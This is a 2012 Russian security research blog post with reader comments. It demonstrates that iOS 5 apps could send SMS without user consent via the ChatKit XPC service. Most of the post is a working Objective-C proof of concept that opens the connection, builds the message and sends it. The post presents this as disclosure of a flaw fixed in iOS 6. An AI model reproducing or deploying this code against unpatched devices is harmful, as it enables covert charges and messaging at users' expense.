25.10.2012

Ваш фонарик может отправлять SMS: еще один повод обновить ваши устройства до iOS 6

Мы просто отправим SMS из приложения без ведома пользователя.

Автор: Кирилл Ермаков, эксперт исследовательского центра Positive Research

Сегодня я не буду рассказывать вам, как устроена система безопасности iOS 5. И мы не будем собирать крохи информации через недокументированные возможности. Мы просто отправим SMS из приложения без ведома пользователя.

В сети чрезвычайно мало информации, описывающей моторику низкоуровневой работы iOS. Эти крохи не позволяют восстановить картину в целом. Многие заголовочные файлы имеют за спиной закрытые исходники. Большинство шагов приходится делать практически вслепую. Основным полем для экспериментов становится «прародительница» мобильной платформы — MacOS X.

Одна из систем межпроцессного взаимодействия в MacOS это XPC. Данная прослойка системы сделана для межпроцессного взаимодействия, основанного на передаче plist-структур при помощи libSystem и launchd. По сути дела, это интерфейс, позволяющий управлять процессами при помощи обмена структурами вида dictonary. И благодаря наследственности iOS 5 тоже обладает этим механизмом.

Вы наверное уже поняли, что я хотел сказать этим вступлением. Да, в iOS есть системные сервисы, имеющие средства для XPC-взаимодействия. И в своем примере я хотел бы продемонстрировать методику работы с демоном для отправки SMS-сообщений. Однако прежде всего нужно сказать следующее: уязвимость закрыта в iOS 6, но актуальна для iOS 5.0—5.1.1. Для ее реализации не требуется Jailbreak, Private Framework и другие незаконные средства. Потребуется лишь набор заголовочных файлов из директории /usr/include/xpc/*.

В операционной системе iOS одним из элементов для отправки SMS-сообщений является системный сервис com.apple.chatkit, в задачи которого входят формирование, менеджмент и отправка коротких текстовых сообщений. Для удобства управления он имеет общедоступный коммуникационный порт com.apple.chatkit.clientcomposeserver.xpc. Используя подсистему XPC, вы можете формировать и отправлять сообщения без подтверждения пользователя.

Что ж, попробуем создать подключение.

xpc_connection_t myconnection;
dispatch_queue_t queue = dispatch_queue_create("com.apple.chatkit.clientcomposeserver.xpc", DISPATCH_QUEUE_CONCURRENT);
myconnection = xpc_connection_create_mach_service("com.apple.chatkit.clientcomposeserver.xpc", queue, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);

Теперь у нас есть XPC-подключение myconnection к сервису для отправки SMS. Однако XPC устроена таким образом, что подключение создается в «замороженном» виде: для его активации нам потребуется еще один шаг.

xpc_connection_set_event_handler(myconnection, ^(xpc_object_t event) {
        xpc_type_t xtype = xpc_get_type(event);
        if(XPC_TYPE_ERROR == xtype)
        {
        NSLog(@"XPC sandbox connection error: %s\n", xpc_dictionary_get_string(event, XPC_ERROR_KEY_DESCRIPTION));
        }
        // Always set an event handler. More on this later.
        
        NSLog(@"Received an message event!");
        
    });

    xpc_connection_resume(myconnection);

Оживляем соединение. На iOS 6 именно в этот момент вы увидите в журнале телефона сообщение о том, что данный вид взаимодействия запрещен. Теперь нам потребуется сформировать словарь, аналогичный xpc_dictionary, с необходимыми для отправки сообщения данными.

NSArray *receipements = [NSArray arrayWithObjects:@"+7 (90*) 000-00-00", nil];
    
NSData *ser_rec = [NSPropertyListSerialization dataWithPropertyList:receipements format:200 options:0 error:NULL];

xpc_object_t mydict = xpc_dictionary_create(0, 0, 0);
xpc_dictionary_set_int64(mydict, "message-type", 0);
xpc_dictionary_set_data(mydict, "recipients", [ser_rec bytes], [ser_rec length]);
xpc_dictionary_set_string(mydict, "text", "hello from your application!");

Осталось немного: отправить сообщение на XPC-порт и удостовериться, что оно доставлено.

xpc_connection_send_message(myconnection, mydict);
xpc_connection_send_barrier(myconnection, ^{
        NSLog(@"Message has been successfully delievered");
    });

Звук отправленного SMS на короткий номер. Итак, до устранения этой возможности в iOS 6 любое приложение имело возможность отправлять SMS-сообщения без ведома пользователя. В iOS 6 компания Apple добавила дополнительную прослойку безопасности, которая не позволяет подключаться к данному сервису из «песочницы».

Спасибо за внимание!

или введите имя

CAPTCHA
Павел
29-10-2012 18:25:16
Статья похоже заказана яблоком. Им так и не удалось избавиться от проблемы с сертификатами позволяющей ставить любое платное ПО и не платить за это деньги. Если бы такая проблема существовала бы, яблоко бы уже давно завалили исками.
0 |
Serg
02-11-2012 03:19:27
хм интересно! не зря обновился, потеряв jailbreak;)[img][img]http://imagesstore.tk/img/laught.gif[/img][/IMG]
0 |
Sergey
08-11-2012 00:42:08
Под этой статьей видимо скрывается очень долгий труд. Но не стоит забывать, про предварительную проверку программ цензорами Apple перед публикацией ee в AppStore. Мое мнение, что Apple имеет достаточно детальные анализаторы ПО. Я думаю если такие приложения попали бы в AppStore была бы очень большая шумиха.
0 |